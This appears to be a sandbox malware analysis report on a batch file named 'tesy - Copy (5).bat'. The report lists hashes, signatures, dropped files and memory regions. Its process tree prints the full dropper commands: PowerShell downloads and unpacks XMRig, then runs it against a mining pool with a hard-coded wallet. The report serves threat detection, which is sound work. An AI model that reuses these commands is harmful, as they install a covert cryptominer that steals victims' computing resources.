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Analysis

  • max time kernel
    1810s
  • max time network
    1820s
  • platform
    windows10-1703_x64
  • resource
    win10-20231215-en
  • resource tags

    arch:x64arch:x86image:win10-20231215-enlocale:en-usos:windows10-1703-x64system
  • submitted
    22/12/2023, 08:52

General

  • Target

    tesy - Copy (5).bat

  • Size

    608B

  • MD5

    727c8da0478af118c957ae60f7161cab

  • SHA1

    cf18105b8659e93bbd2824fa35ef1bae7b395301

  • SHA256

    97db0437ecb6f401a4674dceead7b17a885241f2ab2495652863d2240f3bedab

  • SHA512

    d9cbb46d5f3caa92d3b44301bc96ccfd5552f2ab3e5460362db3b59d23e0a5c34bf78e9387009092ac5c92b4423c03789aa1fc824a4e1388a1363daa6ab54e01

Score
10/10

Malware Config

Extracted

Language
ps1
Deobfuscated
URLs
exe.dropper

https://github.com/xmrig/xmrig/releases/download/v6.21.0/xmrig-6.21.0-gcc-win64.zip

Signatures

  • XMRig Miner payload 64 IoCs
  • xmrig

    XMRig is a high performance, open source, cross platform CPU/GPU miner.

  • Blocklisted process makes network request 2 IoCs
  • Executes dropped EXE 1 IoCs
  • Suspicious behavior: EnumeratesProcesses 6 IoCs
  • Suspicious behavior: LoadsDriver 1 IoCs
  • Suspicious use of AdjustPrivilegeToken 4 IoCs
  • Suspicious use of FindShellTrayWindow 1 IoCs
  • Suspicious use of WriteProcessMemory 6 IoCs

Processes

  • C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /c "C:\Users\Admin\AppData\Local\Temp\tesy - Copy (5).bat"
    1⤵
    • Suspicious use of WriteProcessMemory
    PID:208
    • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
      powershell -command "(New-Object System.Net.WebClient).DownloadFile('https://github.com/xmrig/xmrig/releases/download/v6.21.0/xmrig-6.21.0-gcc-win64.zip', 'xmrig-6.21.0-gcc-win64.zip')"
      2⤵
      • Blocklisted process makes network request
      • Suspicious behavior: EnumeratesProcesses
      • Suspicious use of AdjustPrivilegeToken
      PID:5000
    • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
      powershell -command "Expand-Archive -Path 'xmrig-6.21.0-gcc-win64.zip' -DestinationPath '.'"
      2⤵
      • Suspicious behavior: EnumeratesProcesses
      • Suspicious use of AdjustPrivilegeToken
      PID:4916
    • C:\Users\Admin\AppData\Local\Temp\xmrig-6.21.0\xmrig.exe
      xmrig.exe --url pool.hashvault.pro:80 --user 42BWpXvTvDbHpMyHrnjqBA5bqjnB9z65fGakJV9dQuHSS7pRkpoyx5T4vE4pUjJxPoPrLCAerjoKwdMTQKZNNEqo6zoLmPJ --pass tria2 --donate-level 1 --tls --tls-fingerprint 420c7850e09b7c0bdcf748a7da9eb3647daf8515718f36d9ccfdd6b9ff834b14
      2⤵
      • Executes dropped EXE
      • Suspicious use of AdjustPrivilegeToken
      • Suspicious use of FindShellTrayWindow
      PID:3412

Network

MITRE ATT&CK Matrix

Replay Monitor

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Downloads

  • C:\Users\Admin\AppData\Local\Microsoft\CLR_v4.0\UsageLogs\powershell.exe.log

    Filesize

    3KB

    MD5

    56efdb5a0f10b5eece165de4f8c9d799

    SHA1

    fa5de7ca343b018c3bfeab692545eb544c244e16

    SHA256

    6c4e3fefc4faa1876a72c0964373c5fa08d3ab074eec7b1313b3e8410b9cb108

    SHA512

    91e50779bbae7013c492ea48211d6b181175bfed38bf4b451925d5812e887c555528502316bbd4c4ab1f21693d77b700c44786429f88f60f7d92f21e46ea5ddc

  • C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive

    Filesize

    1KB

    MD5

    9f297c88eb7327dd7198d525c67b9aa7

    SHA1

    cf69694e9de90087f2765e4e6b4fb21ebc5121c0

    SHA256

    55322a24328492f2dea3fd655d1c15254d2f071e260edd42fb95be5f7f7332c6

    SHA512

    a22a453f275e7a0dfa8f9f46b73bdae8712fa7e113c9229a7f37f511385db4f630f6a5cccc6712195b8532e70859c7410de4789a852e3f6efa784f81aeb1b405

  • C:\Users\Admin\AppData\Local\Temp\__PSScriptPolicyTest_c51vuhzt.p3t.ps1

    Filesize

    1B

    MD5

    c4ca4238a0b923820dcc509a6f75849b

    SHA1

    356a192b7913b04c54574d18c28d46e6395428ab

    SHA256

    6b86b273ff34fce19d6b804eff5a3f5747ada4eaa22f1d49c01e52ddb7875b4b

    SHA512

    4dff4ea340f0a823f15d3f4f01ab62eae0e5da579ccb851f8db9dfe84c58b2b37b89903a740e1ee172da793a6e79d560e5f7f9bd058a12a280433ed6fa46510a

  • C:\Users\Admin\AppData\Local\Temp\xmrig-6.21.0-gcc-win64.zip

    Filesize

    399KB

    MD5

    1c1f5f25dbde710b88605c7acf509066

    SHA1

    4c118c34e6887639c871d458e3e335c05cafa812

    SHA256

    5cb0ab1b26a4a81db1888e3fda5a77fdc6430bc6df4444b7354ac8ba9650b8d7

    SHA512

    e0f62692a5706bbea7f78c984cb197456a019c83b15ef50a8753d05ba0c5d32da42c331a3a41e1e0b17a9cbacd0294560bfe42d38bf8dfdc6202640bff2a93ab

  • C:\Users\Admin\AppData\Local\Temp\xmrig-6.21.0\xmrig.exe

    Filesize

    76KB

    MD5

    2bdd1aefe0534e9d3d97a483d9ac4537

    SHA1

    69eb8b1a9aaf12ce0c9b747ba8465661639b2471

    SHA256

    67fb8049fd9ca9aab904959b65980890d421f79288a150e963face7a197b039a

    SHA512

    db13f4ae037dcd69b8004ec1e2f79721af113ecc543ed0b9c8e66bd432d5ccce1be764fafaa671096ebd9e23e57ba1e5067281c2ea558be07faf3adde792aa5b

  • memory/3412-145-0x00007FF687820000-0x00007FF688323000-memory.dmp

    Filesize

    11.0MB

  • memory/3412-173-0x00007FF687820000-0x00007FF688323000-memory.dmp

    Filesize

    11.0MB

  • memory/3412-184-0x00007FF687820000-0x00007FF688323000-memory.dmp

    Filesize

    11.0MB

  • memory/3412-183-0x00007FF687820000-0x00007FF688323000-memory.dmp

    Filesize

    11.0MB

  • memory/3412-182-0x00007FF687820000-0x00007FF688323000-memory.dmp

    Filesize

    11.0MB

  • memory/3412-181-0x00007FF687820000-0x00007FF688323000-memory.dmp

    Filesize

    11.0MB

  • memory/3412-180-0x00007FF687820000-0x00007FF688323000-memory.dmp

    Filesize

    11.0MB

  • memory/3412-179-0x00007FF687820000-0x00007FF688323000-memory.dmp

    Filesize

    11.0MB

  • memory/3412-178-0x00007FF687820000-0x00007FF688323000-memory.dmp

    Filesize

    11.0MB

  • memory/3412-116-0x0000025A87B00000-0x0000025A87B20000-memory.dmp

    Filesize

    128KB

  • memory/3412-177-0x00007FF687820000-0x00007FF688323000-memory.dmp

    Filesize

    11.0MB

  • memory/3412-117-0x0000025B1B5D0000-0x0000025B1B610000-memory.dmp

    Filesize

    256KB

  • memory/3412-118-0x00007FF687820000-0x00007FF688323000-memory.dmp

    Filesize

    11.0MB

  • memory/3412-119-0x0000025B1BA30000-0x0000025B1BA50000-memory.dmp

    Filesize

    128KB

  • memory/3412-120-0x0000025B1BC60000-0x0000025B1BC80000-memory.dmp

    Filesize

    128KB

  • memory/3412-121-0x00007FF687820000-0x00007FF688323000-memory.dmp

    Filesize

    11.0MB

  • memory/3412-122-0x00007FF687820000-0x00007FF688323000-memory.dmp

    Filesize

    11.0MB

  • memory/3412-123-0x0000025B1BA30000-0x0000025B1BA50000-memory.dmp

    Filesize

    128KB

  • memory/3412-124-0x0000025B1BC60000-0x0000025B1BC80000-memory.dmp

    Filesize

    128KB

  • memory/3412-125-0x00007FF687820000-0x00007FF688323000-memory.dmp

    Filesize

    11.0MB

  • memory/3412-126-0x00007FF687820000-0x00007FF688323000-memory.dmp

    Filesize

    11.0MB

  • memory/3412-127-0x00007FF687820000-0x00007FF688323000-memory.dmp

    Filesize

    11.0MB

  • memory/3412-128-0x00007FF687820000-0x00007FF688323000-memory.dmp

    Filesize

    11.0MB

  • memory/3412-129-0x00007FF687820000-0x00007FF688323000-memory.dmp

    Filesize

    11.0MB

  • memory/3412-130-0x00007FF687820000-0x00007FF688323000-memory.dmp

    Filesize

    11.0MB

  • memory/3412-131-0x00007FF687820000-0x00007FF688323000-memory.dmp

    Filesize

    11.0MB

  • memory/3412-132-0x00007FF687820000-0x00007FF688323000-memory.dmp

    Filesize

    11.0MB

  • memory/3412-133-0x00007FF687820000-0x00007FF688323000-memory.dmp

    Filesize

    11.0MB

  • memory/3412-134-0x00007FF687820000-0x00007FF688323000-memory.dmp

    Filesize

    11.0MB

  • memory/3412-135-0x00007FF687820000-0x00007FF688323000-memory.dmp

    Filesize

    11.0MB

  • memory/3412-136-0x00007FF687820000-0x00007FF688323000-memory.dmp

    Filesize

    11.0MB

  • memory/3412-137-0x00007FF687820000-0x00007FF688323000-memory.dmp

    Filesize

    11.0MB

  • memory/3412-138-0x00007FF687820000-0x00007FF688323000-memory.dmp

    Filesize

    11.0MB

  • memory/3412-139-0x00007FF687820000-0x00007FF688323000-memory.dmp

    Filesize

    11.0MB

  • memory/3412-140-0x00007FF687820000-0x00007FF688323000-memory.dmp

    Filesize

    11.0MB

  • memory/3412-141-0x00007FF687820000-0x00007FF688323000-memory.dmp

    Filesize

    11.0MB

  • memory/3412-142-0x00007FF687820000-0x00007FF688323000-memory.dmp

    Filesize

    11.0MB

  • memory/3412-143-0x00007FF687820000-0x00007FF688323000-memory.dmp

    Filesize

    11.0MB

  • memory/3412-144-0x00007FF687820000-0x00007FF688323000-memory.dmp

    Filesize

    11.0MB

  • memory/3412-176-0x00007FF687820000-0x00007FF688323000-memory.dmp

    Filesize

    11.0MB

  • memory/3412-175-0x00007FF687820000-0x00007FF688323000-memory.dmp

    Filesize

    11.0MB

  • memory/3412-148-0x00007FF687820000-0x00007FF688323000-memory.dmp

    Filesize

    11.0MB

  • memory/3412-146-0x00007FF687820000-0x00007FF688323000-memory.dmp

    Filesize

    11.0MB

  • memory/3412-149-0x00007FF687820000-0x00007FF688323000-memory.dmp

    Filesize

    11.0MB

  • memory/3412-150-0x00007FF687820000-0x00007FF688323000-memory.dmp

    Filesize

    11.0MB

  • memory/3412-151-0x00007FF687820000-0x00007FF688323000-memory.dmp

    Filesize

    11.0MB

  • memory/3412-152-0x00007FF687820000-0x00007FF688323000-memory.dmp

    Filesize

    11.0MB

  • memory/3412-153-0x00007FF687820000-0x00007FF688323000-memory.dmp

    Filesize

    11.0MB

  • memory/3412-154-0x00007FF687820000-0x00007FF688323000-memory.dmp

    Filesize

    11.0MB

  • memory/3412-155-0x00007FF687820000-0x00007FF688323000-memory.dmp

    Filesize

    11.0MB

  • memory/3412-156-0x00007FF687820000-0x00007FF688323000-memory.dmp

    Filesize

    11.0MB

  • memory/3412-157-0x00007FF687820000-0x00007FF688323000-memory.dmp

    Filesize

    11.0MB

  • memory/3412-158-0x00007FF687820000-0x00007FF688323000-memory.dmp

    Filesize

    11.0MB

  • memory/3412-159-0x00007FF687820000-0x00007FF688323000-memory.dmp

    Filesize

    11.0MB

  • memory/3412-160-0x00007FF687820000-0x00007FF688323000-memory.dmp

    Filesize

    11.0MB

  • memory/3412-161-0x00007FF687820000-0x00007FF688323000-memory.dmp

    Filesize

    11.0MB

  • memory/3412-162-0x00007FF687820000-0x00007FF688323000-memory.dmp

    Filesize

    11.0MB

  • memory/3412-163-0x00007FF687820000-0x00007FF688323000-memory.dmp

    Filesize

    11.0MB

  • memory/3412-164-0x00007FF687820000-0x00007FF688323000-memory.dmp

    Filesize

    11.0MB

  • memory/3412-165-0x00007FF687820000-0x00007FF688323000-memory.dmp

    Filesize

    11.0MB

  • memory/3412-166-0x00007FF687820000-0x00007FF688323000-memory.dmp

    Filesize

    11.0MB

  • memory/3412-167-0x00007FF687820000-0x00007FF688323000-memory.dmp

    Filesize

    11.0MB

  • memory/3412-168-0x00007FF687820000-0x00007FF688323000-memory.dmp

    Filesize

    11.0MB

  • memory/3412-169-0x00007FF687820000-0x00007FF688323000-memory.dmp

    Filesize

    11.0MB

  • memory/3412-170-0x00007FF687820000-0x00007FF688323000-memory.dmp

    Filesize

    11.0MB

  • memory/3412-171-0x00007FF687820000-0x00007FF688323000-memory.dmp

    Filesize

    11.0MB

  • memory/3412-172-0x00007FF687820000-0x00007FF688323000-memory.dmp

    Filesize

    11.0MB

  • memory/3412-147-0x00007FF687820000-0x00007FF688323000-memory.dmp

    Filesize

    11.0MB

  • memory/3412-174-0x00007FF687820000-0x00007FF688323000-memory.dmp

    Filesize

    11.0MB

  • memory/4916-76-0x0000023968F70000-0x0000023968F82000-memory.dmp

    Filesize

    72KB

  • memory/4916-36-0x00007FFD86480000-0x00007FFD86E6C000-memory.dmp

    Filesize

    9.9MB

  • memory/4916-39-0x0000023968D60000-0x0000023968D70000-memory.dmp

    Filesize

    64KB

  • memory/4916-113-0x00007FFD86480000-0x00007FFD86E6C000-memory.dmp

    Filesize

    9.9MB

  • memory/4916-38-0x0000023968D60000-0x0000023968D70000-memory.dmp

    Filesize

    64KB

  • memory/4916-89-0x0000023968D40000-0x0000023968D4A000-memory.dmp

    Filesize

    40KB

  • memory/4916-62-0x0000023968D60000-0x0000023968D70000-memory.dmp

    Filesize

    64KB

  • memory/5000-25-0x0000022333CF0000-0x0000022333D00000-memory.dmp

    Filesize

    64KB

  • memory/5000-9-0x0000022333CF0000-0x0000022333D00000-memory.dmp

    Filesize

    64KB

  • memory/5000-4-0x0000022333EE0000-0x0000022333F02000-memory.dmp

    Filesize

    136KB

  • memory/5000-7-0x000002234C1B0000-0x000002234C226000-memory.dmp

    Filesize

    472KB

  • memory/5000-12-0x0000022333CF0000-0x0000022333D00000-memory.dmp

    Filesize

    64KB

  • memory/5000-8-0x00007FFD86480000-0x00007FFD86E6C000-memory.dmp

    Filesize

    9.9MB

  • memory/5000-30-0x00007FFD86480000-0x00007FFD86E6C000-memory.dmp

    Filesize

    9.9MB